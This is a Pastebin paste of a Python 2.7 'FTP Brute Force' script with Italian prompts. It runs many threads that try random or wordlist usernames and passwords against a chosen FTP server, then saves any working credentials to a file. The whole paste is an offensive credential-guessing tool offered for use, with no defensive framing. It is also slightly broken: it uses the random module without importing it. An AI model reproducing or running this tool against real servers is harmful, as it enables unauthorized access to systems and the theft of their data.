Advertisement
Fuzeh

Untitled

Aug 9th, 2016
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.25 KB | None | 0 0
  1. import string
  2. import ftplib
  3. import os
  4. import threading
  5. import time
  6. from ftplib import FTP
  7. # Run with Python 2.7.5
  8. def clear():
  9. if os.name in ("nt", "dos", "ce"):
  10. os.system('title ........:::::FTP Brute Force v 1.3:::::........ coded by Xordas')
  11. os.system('color a')
  12. os.system('cls')
  13.  
  14. clear()
  15. print ' .......:::FTP Brute Force v 1.3:::.......'
  16. print " ___________"
  17. print " |.---------.|"
  18. print " @)___||_ ||_______"
  19. print " {8*8888*888{______}spunk ||_______>"
  20. print " @) ||_________||"
  21. print " `----)-(----`"
  22. print " ____[=== o]___"
  23. print " |::::::::::::::|\ "
  24. print " `-============-`()"
  25. time.sleep(0.7)
  26. clear()
  27. print ' .......:::FTP Brute Force v 1.3:::.......'
  28. print ' __ __ _____ _____ _____ ___ _____ '
  29. print ' \ \ / / / _ \ | _ \ | _ \ / | / ___/ '
  30. print ' \ \/ / | | | | | |_| | | | | | / /| | | |___ '
  31. print ' } { | | | | | _ / | | | | / / | | \___ \ '
  32. print ' / /\ \ | |_| | | | \ \ | |_| | / / | | ___| | '
  33. print ' /_/ \_\ \_____/ |_| \_\ |_____/ /_/ |_| /_____/ '
  34. print ""
  35. print " Coded by Xordas."
  36. time.sleep(1.3)
  37. clear()
  38.  
  39. Max_Win = 800
  40. Lock = threading.Lock()
  41. times = 0
  42.  
  43. class Bruterforce(threading.Thread):
  44.  
  45. def __init__(self, server, number):
  46. threading.Thread.__init__(self)
  47. self.srv = server
  48. self.num = number
  49.  
  50. def run(self):
  51. global Lock
  52. Lock.acquire()
  53. print 'Starting thread #{0}'.format(self.num)
  54. Lock.release()
  55. chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
  56. while True:
  57. try:
  58. ftp_conn = FTP(self.srv)
  59. if username == '':
  60. count_chars = 1
  61. random_username = ''
  62. while count_chars <= random.randint(user_min, user_max):
  63. random_username = random_username + chars[random.randint(0, len(chars) - 1)]
  64. count_chars = count_chars + 1
  65. ftp_username = random_username
  66. else:
  67. ftp_username = username
  68.  
  69. if pass_list_mode == 0:
  70. count_chars = 1
  71. random_password = ''
  72. while count_chars <= random.randint(pass_min, pass_max):
  73. random_password = random_password + chars[random.randint(0, len(chars) - 1)]
  74. count_chars = count_chars + 1
  75. ftp_password = random_password
  76. elif pass_list_mode == 1:
  77. in_line = in_file.readline()
  78. if in_line == '':
  79. in_file.close()
  80. break
  81. in_line = in_line[:-1] # rnd = random.randrange(0, 2133190, 1)
  82. ftp_password = in_line
  83.  
  84. try:
  85. ftp_conn = FTP(self.srv)
  86. print '> Sto Provando Username: ' + ftp_username + '\t\tPassword :\t' + ftp_password + ''
  87. except ftplib.all_errors:
  88. print '> Connessione al server rifiutata...\n'
  89. pass
  90. try:
  91. ftp_conn.login(ftp_username, ftp_password)
  92. except ftplib.all_errors:
  93. pass
  94. else:
  95. print 'Ho trovato i dati!\nUsername: ' + ftp_username + '\nPassword: ' + ftp_password + '\nserver: ' + self.srv + '\n'
  96. null = raw_input("\nPremere invio per uscire e salvare i dati raccolti: ")
  97. out_file = open("Output.txt", "w")
  98. out_file.write('Username: ' + ftp_username + '\nPassword: ' + ftp_password + '\nserver: ' + self.srv + '\n')
  99. out_file.close()
  100. break
  101. ftp_conn.close()
  102. del ftp_conn
  103. except:
  104. print '> Connessione al server rifiutata...\n'
  105. pass
  106.  
  107. Lock.acquire()
  108. print 'Closing thread #{0}'.format(self.num)
  109. Lock.release()
  110.  
  111.  
  112. if __name__ == '__main__':
  113. ################################################################
  114. x = 1
  115. while x == 1:
  116. server = raw_input("> Inserisci l'indirizzo del server ex. lol.com : ")
  117. try:
  118. print "> Mi sto connettendo all'host. . ."
  119. ftp_conn = FTP(server)
  120. print "> Accesso consentito"
  121. x = 0
  122. except ftplib.all_errors:
  123. print '> Connessione a ' + server + ' fallita!\n'
  124.  
  125.  
  126. num_threads = input("> Inserisci il numero di threads: ")
  127. username = raw_input("\n> Inserisci l'username del login oppure, premi invio per randomizzare: ")
  128.  
  129. if username == '':
  130. user_min = input("\n> Inserisci la lunghezza minima dell'username: ")
  131. user_max = input("> Inserisci la lunghezza massima dell'username: ")
  132.  
  133. pass_list_mode = input("\n> Digita '1' per utilizzare una lista password oppure '0' per randomizzare: ")
  134.  
  135. if pass_list_mode == 0:
  136. pass_min = input("\n> Inserisci la lunghezza minima della password: ")
  137. pass_max = input("> Inserisci la lunghezza massima della password: ")
  138. elif pass_list_mode == 1:
  139. lista = raw_input("> Trascina qui il file password_list.txt e premi invio: ")
  140. in_file = open(lista,"r")
  141.  
  142. ###################################################################
  143.  
  144. for i in xrange(num_threads):
  145. Bruterforce(server, i + 1).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement